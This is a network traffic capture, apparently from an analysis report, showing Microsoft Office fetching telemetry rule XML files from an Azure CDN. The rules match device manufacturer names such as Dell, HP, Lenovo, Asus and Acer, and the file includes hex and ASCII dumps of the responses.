2024-11-17 09:07:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:14 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:14 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090714Z-16547b76f7f7zzl8hC1DFWmtag00000002w000000000g612 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7fbkfmzhC1DFWm9tw00000003m000000000ka26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7fmcv27hC1DFWgpcg00000002xg000000003fxm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:15 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-164f84587bfbvgrghC1DFWbs7w00000003yg00000000e1rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:15 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-1866b5c5fbb7lvschC1DFW4rm00000000420000000007wgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7fzwxm2hC1DFWt5hw00000001pg0000000075kr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7ftnm6xhC1DFW9c8c00000003t0000000001dh9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7fxqj4khC1DFWpypw00000001d0000000008z0g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090716Z-164f84587bf7k72dhC1DFWvczs000000041g0000000098q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7fr5rfnhC1DFW0am400000001f000000000dk99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:15 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090715Z-16547b76f7f5b5tthC1DFWuk8400000002n000000000e829 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
